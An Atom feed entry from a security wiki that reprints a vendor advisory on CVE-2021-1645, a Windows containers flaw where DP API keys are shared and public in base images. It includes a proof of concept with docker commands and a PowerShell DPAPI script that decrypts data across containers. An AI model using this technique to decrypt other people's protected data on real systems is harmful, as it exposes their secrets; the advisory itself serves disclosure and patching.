<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-1645_Microsoft_Windows_Containers_DP_API%E5%8A%A0%E5%AF%86%E7%BC%BA%E9%99%B7</id>
	<title>CVE-2021-1645 Microsoft Windows Containers DP API加密缺陷 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-1645_Microsoft_Windows_Containers_DP_API%E5%8A%A0%E5%AF%86%E7%BC%BA%E9%99%B7"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-1645_Microsoft_Windows_Containers_DP_API%E5%8A%A0%E5%AF%86%E7%BC%BA%E9%99%B7&amp;action=history"/>
	<updated>2026-04-13T18:24:56Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-1645_Microsoft_Windows_Containers_DP_API%E5%8A%A0%E5%AF%86%E7%BC%BA%E9%99%B7&amp;diff=3618&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== Microsoft Windows Containers suffers from a DP API design flaw where encryption keys are shared and reused between images.  ==EXP== &lt;pre&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-1645_Microsoft_Windows_Containers_DP_API%E5%8A%A0%E5%AF%86%E7%BC%BA%E9%99%B7&amp;diff=3618&amp;oldid=prev"/>
		<updated>2021-05-30T02:30:54Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== Microsoft Windows Containers suffers from a DP API design flaw where encryption keys are shared and reused between images.  ==EXP== &amp;lt;pre&amp;gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
Microsoft Windows Containers suffers from a DP API design flaw where encryption keys are shared and reused between images.&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
~                Certitude Security Advisory - CSA-2021-002                   ~&lt;br /&gt;
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~&lt;br /&gt;
 PRODUCT          : Windows Containers&lt;br /&gt;
 VENDOR           : Microsoft&lt;br /&gt;
 SEVERITY         : High&lt;br /&gt;
 AFFECTED VERSION : Windows 10, Windows Server&lt;br /&gt;
 IDENTIFIERS      : CVE-2021-1645&lt;br /&gt;
 PATCH VERSION    : KB4598229, KB4598230, KB4598242, KB4598243&lt;br /&gt;
 FOUND BY         : Marc Nimmerrichter, Certitude Lab&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
Introduction&lt;br /&gt;
------------&lt;br /&gt;
&lt;br /&gt;
Windows containers is a feature that extends the container concept well-known&lt;br /&gt;
from Linux environments to Windows. Just like containers on Linux, Windows&lt;br /&gt;
containers utilize a shared kernel but container processes are somewhat&lt;br /&gt;
isolated from one another.&lt;br /&gt;
&lt;br /&gt;
The Windows Data Protection API (DP API) allows applications to encrypt&lt;br /&gt;
arbitrary data. An application does not have to manage keys, but instead, any&lt;br /&gt;
data can be passed to the API, which then returns an encrypted blob.&lt;br /&gt;
Similarly, an application can pass a previously encrypted blob to DP API to&lt;br /&gt;
retrieve the plain text. The cryptographic key used for these encryption&lt;br /&gt;
operations is either tied to the user context or is unique to a machine.&lt;br /&gt;
&lt;br /&gt;
There was a design issue with DP API in containers which resulted in DP API&lt;br /&gt;
using the same key in all containers. Additionally, these keys were public in&lt;br /&gt;
base-image layers published by Microsoft.&lt;br /&gt;
&lt;br /&gt;
Organizations using DP API inside containers should apply patches to Windows&lt;br /&gt;
and use the latest base images. However, the fix causes a design change, which&lt;br /&gt;
might render the use of DP API difficult for many use-cases.&lt;br /&gt;
&lt;br /&gt;
Vulnerability Overview&lt;br /&gt;
----------------------&lt;br /&gt;
&lt;br /&gt;
The vulnerability described applies to both, user- and machine-key DP API&lt;br /&gt;
encryption within Windows Docker containers. In our description we will use&lt;br /&gt;
machine key encryption, but the same issue exists if data is encrypted with&lt;br /&gt;
the user-key.&lt;br /&gt;
&lt;br /&gt;
Normally, a machine key is tied to a (virtual-)machine. Therefore, a machine&lt;br /&gt;
is not able to decrypt data encrypted by an application on another machine.&lt;br /&gt;
However, due to a design issue, DP API machine keys used in containers came&lt;br /&gt;
from the container images. Since Windows docker images are based on the same&lt;br /&gt;
base images, the DP API keys of containers were identical. As the base image&lt;br /&gt;
is public, the DP API keys were public too!&lt;br /&gt;
&lt;br /&gt;
Therefore, DP API operations performed by any Windows container application&lt;br /&gt;
were ineffective, as the encryption key that was used is public. Organizations&lt;br /&gt;
that used DP API in Windows Docker containers and relied on it to store&lt;br /&gt;
encrypted data in a potentially insecure location, should consider this data&lt;br /&gt;
as compromised.&lt;br /&gt;
&lt;br /&gt;
Proof-of-Concept&lt;br /&gt;
----------------&lt;br /&gt;
&lt;br /&gt;
First, start a docker container called Alice on VM1:&lt;br /&gt;
&lt;br /&gt;
\$ docker run --name Alice -it&lt;br /&gt;
mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019&lt;br /&gt;
cmd.exe&lt;br /&gt;
&lt;br /&gt;
Then, encrypt a file in the Alice container using the powershell script&lt;br /&gt;
vault.ps1:&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt;powershell.exe -File vault.ps1 -StoreSecret &amp;quot;This is my secret text&amp;quot;&lt;br /&gt;
secret.txt&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt;type secret.txt&lt;br /&gt;
AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAm+1a2TNbiEahEIB4y/C3vQAAAAACAAAAAAAQZgAAAAEAACAAAAAdbJ9ZanY929j39ZLgabsaE5hRS4TLkCaaaRqb&lt;br /&gt;
+n3ZXAAAAAAOgAAAAAIAACAAAAC7fHbsKHCTaMhsWIVMYwUZezbLozItcqExHdg9EJcfDiAAAABFv2EHA5TTqb8I9I+BZrfQS5ViD93KZlL4FoYIBldGY0AA&lt;br /&gt;
AABdx7adlANRnw1shJTOtE6cYTAeqmb1yTe9adcSY1nBvtqlqSWQ/zwGaqfIfumuUm+o+ySwZXH/Su5GovJ8aUP9&lt;br /&gt;
&lt;br /&gt;
Start a docker container Bob on VM2:&lt;br /&gt;
&lt;br /&gt;
\$ docker run --name Bob -it&lt;br /&gt;
mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019&lt;br /&gt;
cmd.exe&lt;br /&gt;
&lt;br /&gt;
The following command shows that the file encrypted by Alice on VM1 can be&lt;br /&gt;
decrypted in the Bob container on VM2:&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt;powershell.exe -File vault.ps1 secret.txt&lt;br /&gt;
This is my secret text&lt;br /&gt;
&lt;br /&gt;
The vault.ps1 PowerShell script from&lt;br /&gt;
https://blag.nullteilerfrei.de/2018/01/05/powershell-dpapi-script/ used in&lt;br /&gt;
this PoC:&lt;br /&gt;
&lt;br /&gt;
``` {.powershell```}&lt;br /&gt;
Param(&lt;br /&gt;
  [string] $StoreSecret,&lt;br /&gt;
  [Parameter(Mandatory=$True,Position=0)]&lt;br /&gt;
  [string] $filename )&lt;br /&gt;
[void] [Reflection.Assembly]::LoadWithPartialName(&amp;quot;System.Security&amp;quot;)&lt;br /&gt;
$scope = [System.Security.Cryptography.DataProtectionScope]::CurrentUser&lt;br /&gt;
if ($StoreSecret -eq &amp;quot;&amp;quot;) {&lt;br /&gt;
  $data = Get-Content $filename&lt;br /&gt;
  $ciphertext = [System.Convert]::FromBase64String($data)&lt;br /&gt;
  $plaintext = [System.Security.Cryptography.ProtectedData]::Unprotect(&lt;br /&gt;
    $ciphertext, $null, $scope )&lt;br /&gt;
  [System.Text.UTF8Encoding]::UTF8.GetString($plaintext)&lt;br /&gt;
} else {&lt;br /&gt;
  $plaintext = [System.Text.UTF8Encoding]::UTF8.GetBytes($StoreSecret)&lt;br /&gt;
  $ciphertext = [System.Security.Cryptography.ProtectedData]::Protect(&lt;br /&gt;
    $plaintext, $null, $scope )&lt;br /&gt;
  [System.Convert]::ToBase64String($ciphertext) &amp;gt; $filename&lt;br /&gt;
}&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
Resolution&lt;br /&gt;
----------&lt;br /&gt;
&lt;br /&gt;
Microsoft fixed this vulnerability with a patch for Windows Server and Windows&lt;br /&gt;
10 operating systems and in their docker base-images. Users should apply both,&lt;br /&gt;
OS updates and base-image updates, to address this issue. Please also refer to&lt;br /&gt;
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1645.&lt;br /&gt;
&lt;br /&gt;
However, the patch comes with a caveat: As the issue is a design problem, it&lt;br /&gt;
could not be fixed in a straightforward way. Windows containers now generate a&lt;br /&gt;
DP API key when the container is first started. This also means that all&lt;br /&gt;
containers use different keys. There is currently no supported way to share&lt;br /&gt;
keys between containers or transfer a key from one container to another. This&lt;br /&gt;
is impractical, because containers are often relatively short-lived. Moreover,&lt;br /&gt;
when a container is scaled up, new containers will not be able to work with&lt;br /&gt;
previously encrypted blobs. This reduces the potential use-cases of DP API&lt;br /&gt;
with containers.&lt;br /&gt;
&lt;br /&gt;
References&lt;br /&gt;
----------&lt;br /&gt;
&lt;br /&gt;
https://certitude.consulting/blog/en/windows-docker-dp-api-vulnerability-cve-2021-1645/&lt;br /&gt;
https://certitude.consulting/advisories/CSA_2021_002_Windows_Docker_DP_API_Design_Vulnerability.md.txt&lt;br /&gt;
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1645&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
                                           (c) 2021 Certitude Consulting GmbH&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>